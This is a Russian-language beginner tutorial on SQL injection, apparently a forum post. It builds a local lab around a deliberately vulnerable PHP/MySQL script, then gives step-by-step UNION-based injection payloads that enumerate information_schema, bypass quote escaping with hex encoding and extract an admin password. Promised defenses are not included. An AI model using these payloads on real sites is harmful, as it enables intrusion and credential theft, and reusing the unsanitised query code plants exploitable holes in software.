Введение в SQL-инъекции.
В сети статей по SQL-инъекциям хренова туча. Зачем писать еще одну? Просто все статьи, с которыми я сталкивался, на мой взгляд, были тяжеловаты для новичков, которые только поверхностно знакомы с языком SQL. Цель этой статьи - преподнести материал максимально разжевано, и дать вам общее представление, что же такое SQL-инъекции. Получилось это у меня, или нет, судите сами.
Из литературы по SQL могу порекомендовать книгу "Самоучитель MySQL5" М.Кузнецов, И.Симдянов. Это вам и учебник, это вам и справочник. Так же неплохо бы знать, как сценарий взаимодействует с базой (это вы должны были разобрать при изучении PHP).
Для того чтобы начать тему SQL-инъекций, разберемся со следующими понятиями:
База данных - набор данных, имеющий определенную структуру.
SQL (Structured Query Language) - структурированный язык запросов к базе данных. Грубо говоря на этом языке я пишу, что именно я хочу сделать с данными из базы. Кстати, несмотря на то, что есть официальный стандарт этого языка, все СУБД поддерживают его по-своему.
Система управления базой данных (СУБД) - программа, дли работы с базой данных. Питается командами на языке SQL.
Теперь давайте рассмотрим взаимодействие сценария с базой данных:
- соединение с базой данных,
- формирование запроса к базе данных на языке SQL,
- отправка этого запроса,
- чтение ответа,
- обработка ответа.
SQL-инъекция возможна там, где запрос формируется на основе данных, переданных пользователем. Сразу предупрежу, далее в строках SQL-команд я буду выделять квадратными скобками (для наглядности) часть кода, которая берется из этих данных. А сами сформированные запросы, которые сценарий будет отправлять СУБД, я буду предварять знаком SQL>
Для примера я выбрал самую распространенную связку PHP+MySQL и самый распространенный запрос – генерация страницы из базы по ее id. Сама таблица pages будет иметь всего два столбца: id и content. Наша задача тоже стандартная - найти в базе таблицу зарегистрированных пользователей и слить пароль админа (admin).
Чтоб весь материал урока лучше усвоился, постройте на локалхосте тренировочный полигон (я надеюсь, что Apache+php+MySQL у вас давно уже стоит). Для этого создайте базу данных с таблицами, вписав следующий код в MySQL-клиент:
CREATE DATABASE site; USE site; CREATE TABLE pages ( id INT NOT NULL AUTO_INCREMENT, content TEXT, PRIMARY KEY(id) ); CREATE TABLE users ( id INT NOT NULL AUTO_INCREMENT, name CHAR(32), pass CHAR(32), PRIMARY KEY(id) ); INSERT INTO pages (content) VALUES ('Page number 1'),('Page number 2'),('Page number 3'),('Page number 4'),('Page number 5'); INSERT INTO users (name, pass) VALUES ('Vasya','22vasya22'),('Petya','qwerty'),('Alex','1234567'),('admin','fh&gfkTsu'),('Serega','sex');
Теперь создайте сценарий, который будет работать с базой. Упрощенно код сценария будет следующий:
<?PHP $server='localhost'; //имя сервера базы данных $user='user'; //имя учетной записи, по которой будет осуществляться подключение $pass='pass'; //пароль для учетной записи $dbname='site'; //имя базы данных //подключение к серверу БД по определенной учетной записи, //и сохранение дескриптора соединения в переменную $link $link=mysql_connect($server, $user, $pass); //выбор базы данных mysql_select_db($dbname, $link); //cтрока запроса $sel_query="SELECT * FROM pages WHERE id=".$_GET[id]; //отправка запроса серверу и сохранение дескриптора ответа в переменную $res $res=mysql_query($sel_query , $link); //обработка результата, представление первой строки результата в виде //ассоциативного массива (функция обработки может быть другой). $arr=mysql_fetch_assoc($res); //закрытие соединения с сервером mysql_close($link); //вывод страницы echo $arr[content]; ?>
Я нарочно не вставил никаких защит, фильтраций и т.п. чтобы не затруднять код (о защите мы поговорим позже).
Сохраните этот код в каталоге web-сервера в файле test.php. В переменные $user и $pass впишите логин и пароль вашей учетки MySQL. Ну, вот и все, полигон готов.
Теперь приступим к основной теме.
Суть SQL-инъекций заключается в изменении логики запроса путем подстановки в передаваемый параметр специальных символов и команд. Например, известный прием поиска дыр на сайте заключается в прибавлении к передаваемым параметрам одинарной кавычки и ожидании ошибки. В нашем примере, если передать параметр test.php?id=1' сценарий отправит на MySQL-сервер запрос:
SQL> SELECT * FROM pages WHERE id=[1'];
или
SQL> SELECT * FROM pages WHERE id=[1\']; //в случае экранирования кавычек
что является некорректным синтаксисом и вызовет ошибку. Если ошибки не подавляются, то мы увидим сообщение об ошибке. Значит, здесь есть дыра. Начинаем ее раскручивать.
Теперь, если передадим test.php?id=1+OR+1=1 запрос будет выглядеть так:
SQL> SELECT * FROM pages WHERE id=[1 OR 1=1];
Условие будет верно для каждой строки и вернет нам всю таблицу (но сценарий выведет только первую запись).
Суть дела ясна? Теперь можно приступить к основной задаче - изъятию данных из другой таблицы.
Для получения данных из других таблиц мы будем использовать команду UNION, которая объединяет результаты двух запросов в одну результирующую таблицу.
Простой пример:
SQL> SELECT 1,2 UNION SELECT 3,4;
вернет:
+---+---+
| 1 | 2 |
| 3 | 4 |
+---+---+
Что бы воспользоваться командой UNION, надо выполнить несколько условий:
1) Так как выводится только первая строка, нам надо, чтобы этой строкой была нужная нам информация. Для этого нам надо чтобы первый (основной) запрос не вернул ни одной строки. Вряд ли в базе будут страницы с отрицательными номерами, поэтому пишем test.php?id=-1.
2) В MySQL чтобы соединить два результата, они должны иметь одинаковое число столбцов. Т.е. нам надо знать, сколько столбцов возвращает исходный запрос. Узнать это можно двумя способами:
а) просто перебирая количество полей в UNION.
test.php?id=-1+UNION+SELECT+1
test.php?id=-1+UNION+SELECT+1,2
test.php?id=-1+UNION+SELECT+1,2,3
и т.д. пока не исчезнет сообщение об ошибке.
б) используя конструкцию ORDER BY (или GROUP BY). Конструкция ORDER BY применяется для сортировки результирующей таблицы по значениям какого-либо столбца. Столбец можно указать как именем, так и номером по порядку. Таким образом, при попытке сортировки таблицы по несуществующему полю сгенерируется ошибка. Например, запрос:
SQL> SELECT * FROM pages WHERE id=[25 ORDER BY 3]
выдаст ошибку, т.к. указана сортировка по третьему столбцу, а их всего 2 (я написал в начале, что таблица pages имеет только два столбца, а знак * означает выбор всех столбцов). А если мы укажем сортировку по второму столбцу, то ошибки не будет. Из этого мы сделаем вывод, что исходный запрос возвращает 2 столбца.
Т.о. методом тыка можно определить количество столбцов.
Едем дальше. Мы определили, что запрос возвращает два столбца. Теперь нам надо определить какие столбцы выводятся на страницу. Допустим запрос:
test.php?id=-1+UNION+SELECT+1,2
выведет на страницу цифру 2. Значит, второе поле выводится. Через него мы и будем извлекать данные.
Первым делом проверим, под какой учеткой осуществляется связь сценария с базой, версию СУБД и текущую используемую базу:
test.php?id=-1+UNION+SELECT+1,user()
test.php?id=-1+UNION+SELECT+1,version()
test.php?id=-1+UNION+SELECT+1,database()
Для получения данных из сторонней таблицы надо знать ее имя, имена ее столбцов и имя базы, в которой эта таблица расположена.
Начиная с 5 версии в MySQL есть такая прекрасная вещь, как information_schema. Информационная схема - это виртуальная база с виртуальными таблицами, хранящими структуру всех баз и таблиц данного сервера. В данном уроке я опишу только самые важные таблицы и их поля (тоже только самые важные) информационной схемы.
1) schemata - таблица с именами баз данных. Имеет поле:
schema_name - имя базы данных.
2) tables - таблица с именами всех таблиц. Имеет поля:
table_name - имя таблицы.
table_schema - имя базы данных, которой принадлежит таблица.
3) columns - Таблица с именами столбцов всех таблиц. Имеет поля:
column_name - имя столбца.
table_name - имя таблицы, которой принадлежит данный столбец.
table_schema - имя базы данных, в которой находится таблица, которой принадлежит данный столбец.
Посмотрим имена всех баз. Для этого воспользуемся оператором выбора строк из результата LIMIT (в дальнейшем я покажу, как отказаться от LIMIT и получать кучу данных за один запрос, используя функцию group_concat()):
test.php?id=-1+UNION+SELECT+1,schema_name+FROM+information_schema.schemata+LIMIT+0,1
test.php?id=-1+UNION+SELECT+1,schema_name+FROM+information_schema.schemata+LIMIT+1,1
test.php?id=-1+UNION+SELECT+1,schema_name+FROM+information_schema.schemata+LIMIT+2,1
и т.д.
Нас будет интересовать база site. В ней лежат все таблицы сайта. Просмотрим имена всех таблиц этой базы.
test.php?id=-1+UNION+SELECT+1,table_name+FROM+information_schema.tables+WHERE+table_schema='site'+LIMIT+0,1
А вот здесь возникнет первая проблема - экранирование кавычек (включено на большинстве серверов). Не получится сформировать запрос, если в нем есть кавычки. Сервер, получив такую строку запроса, погасит обратными слешами все кавычки и к базе уйдет следующий запрос:
SQL> SELECT * FROM pages WHERE id=[-1 UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema=\'site\' LIMIT 0,1];
В этом случае кавычки не будут иметь командного значения, а будут считаться простыми строковыми символами, что является некорректным синтаксисом.
Но эта проблема легко решается двумя способами:
1) переводом текста (без кавычек) в шестнадцатеричное представление. Например: site = 0x73697465
2) использованием функции char() и передачей ей десятеричных кодов символов. Например: site = char(115,105,116,101)
test.php?id=-1+UNION+SELECT+1,table_name+FROM+information_schema.tables+WHERE+table_schema=0x73697465+LIMIT+0,1
test.php?id=-1+UNION+SELECT+1,table_name+FROM+information_schema.tables+WHERE+table_schema=0x73697465+LIMIT+1,1
test.php?id=-1+UNION+SELECT+1,table_name+FROM+information_schema.tables+WHERE+table_schema=0x73697465+LIMIT+2,1
Получили две таблицы: pages и users.
Теперь для таблицы users надо достать имена столбцов.
test.php?id=-1+UNION+SELECT+1,column_name+FROM+information_schema.columns+WHERE+table_schema=0x73697465+AND+table_name=0x7573657273+LIMIT+0,1
test.php?id=-1+UNION+SELECT+1,column_name+FROM+information_schema.columns+WHERE+table_schema=0x73697465+AND+table_name=0x7573657273+LIMIT+1,1
test.php?id=-1+UNION+SELECT+1,column_name+FROM+information_schema.columns+WHERE+table_schema=0x73697465+AND+table_name=0x7573657273+LIMIT+2,1
Таким образом мы узнаем, что таблица users имеет три поля: id, name, pass.
Ну а теперь дело за малым - достаем пароль админа.
test.php?id=-1+UNION+SELECT+1,pass+FROM+site.users+WHERE+name=0x61646d696e
(так как site является текущей базой, можно вместо site.users написать просто users)
Ну, вот и все для начала.
Жду ваших отзывов, пожеланий и конструктивной критики.